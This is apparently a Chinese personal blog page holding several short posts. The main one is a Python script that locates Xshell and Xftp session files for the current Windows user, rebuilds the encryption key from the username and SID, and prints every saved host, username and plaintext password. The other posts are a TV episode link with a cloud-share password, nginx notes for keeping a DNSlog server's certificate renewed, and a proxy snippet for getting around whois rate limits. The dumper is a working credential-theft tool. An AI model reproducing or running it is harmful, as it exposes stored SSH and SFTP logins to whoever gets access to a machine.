admin 发布的文章

在别人的基础上改了。增加兼容性,易用性。

# coding=utf-8
#pip3 install pycryptodome
#pip3 install pywin32
#

import os
import argparse
import base64
import configparser
import sys
import win32con,win32api
from win32api import GetComputerName, GetUserName
from win32security import LookupAccountName, ConvertSidToStringSid
from Crypto.Hash import SHA256
from Crypto.Cipher import ARC4


def decrypt_string(a1, a2):
    #print(a2)
    v1 = base64.b64decode(a2)
    #print(v1)
    v3 = ARC4.new(SHA256.new(a1.encode('ascii')).digest()).decrypt(v1[:len(v1) - 0x20])
    if SHA256.new(v3).digest() == v1[-32:]:
        return v3.decode('ascii')
    else:
        return None

def GetPath():
    path=os.path.join(os.environ["USERPROFILE"], r"Documents\NetSarang Computer\6")
    if not os.path.exists(path):
        reg_root = win32con.HKEY_CURRENT_USER
        reg_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
        reg_flags = win32con.WRITE_OWNER|win32con.KEY_WOW64_64KEY|win32con.KEY_ALL_ACCESS
        key = win32api.RegOpenKeyEx(reg_root, reg_path, 0, reg_flags)
        value,key_type = win32api.RegQueryValueEx(key, 'Personal')
        path=value+"\\NetSarang Computer\\6\\Xshell\\Sessions"
    return path

sid = GetUserName() + ConvertSidToStringSid(LookupAccountName(GetComputerName(), GetUserName())[0])
password=GetPath()

if not os.path.isdir(password):
    r = decrypt_string(sid, password)
    if r:
        print(r)
for root, dirs, files in os.walk(password):
    for f in files:
        if f.endswith(".xsh") or f.endswith(".xfp"):
            filepath = os.path.join(root, f)
            cfg = configparser.ConfigParser()
            try:
                cfg.read(filepath)
            except UnicodeDecodeError:
                cfg.read(filepath, encoding="utf-16")

            try:
                if f.endswith(".xsh"):
                    host = "{}:{}".format(cfg["CONNECTION"]["Host"], cfg["CONNECTION"]["Port"])
                    username = cfg["CONNECTION:AUTHENTICATION"]["UserName"]
                    password = decrypt_string(sid, cfg["CONNECTION:AUTHENTICATION"]["Password"])
                else:
                    host = "{}:{}".format(cfg["Connection"]["Host"], cfg["Connection"]["Port"])
                    username = cfg["Connection"]["UserName"]
                    password = decrypt_string(sid, cfg["Connection"]["Password"])
                print(f"{filepath:=^100}\nHost:     {host}\nUsername: {username}\nPassword: {password}")
            except Exception as e:
                print(f"{filepath:=^100}\nError:{e}")

《向往的生活4》第1期 完整版:黄磊爆料周迅拍戏黑历史 彭昱畅郭麒麟下地种西瓜 Back to field S4 EP1【湖南卫视官方HD】
国内看要湖南卫视APP才行。
国外直接youtube就有官方频道免费看。

https://www.youtube.com/watch?v=r1WLuRUdsUI 翻墙可看

链接: https://pan.baidu.com/s/15-Mv2T5CU8UGLVfmTsfDOA 密码: 3cuj

证书不能续期。使用acme.sh续期证书,发现acme.sh的原理是在根目录生成一个.well-known目录,下面生成随机字符串,以验证域名所属。
因为前面location / 到127.0.0.1:8888(DNSlog的python端口),所以这个.well-known是请求不到的。所以,导致无法续期。

直接改了nginx的配置文件。添加:

  location ^~ /.well-known {
    root /data/wwwroot/dnslog.com;
  }

但是因为测试了几次,整数的签发机构,不给重新下发key文件了。。。
只能重新换一个域名了。

因为使用的是修改版的dnslog,前端只能使用https。 https://github.com/bit4woo/DNSLog
dnslogsettings.py,有这么两行:

SECURE_SSL_REDIRECT = True
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')

去掉就可以不走https了。

另外这个版本加了个token功能。感觉目前还用不到。想不到什么场景会用到。

需求是这样的。
最近搞whois,很多的whois服务器限制了频率。不能太快的访问。
所以加个代理是必须的。

import socks

socks.set_default_proxy(socks.HTTP,addr='127.0.0.1',port=10809)
socket.socket = socks.socksocket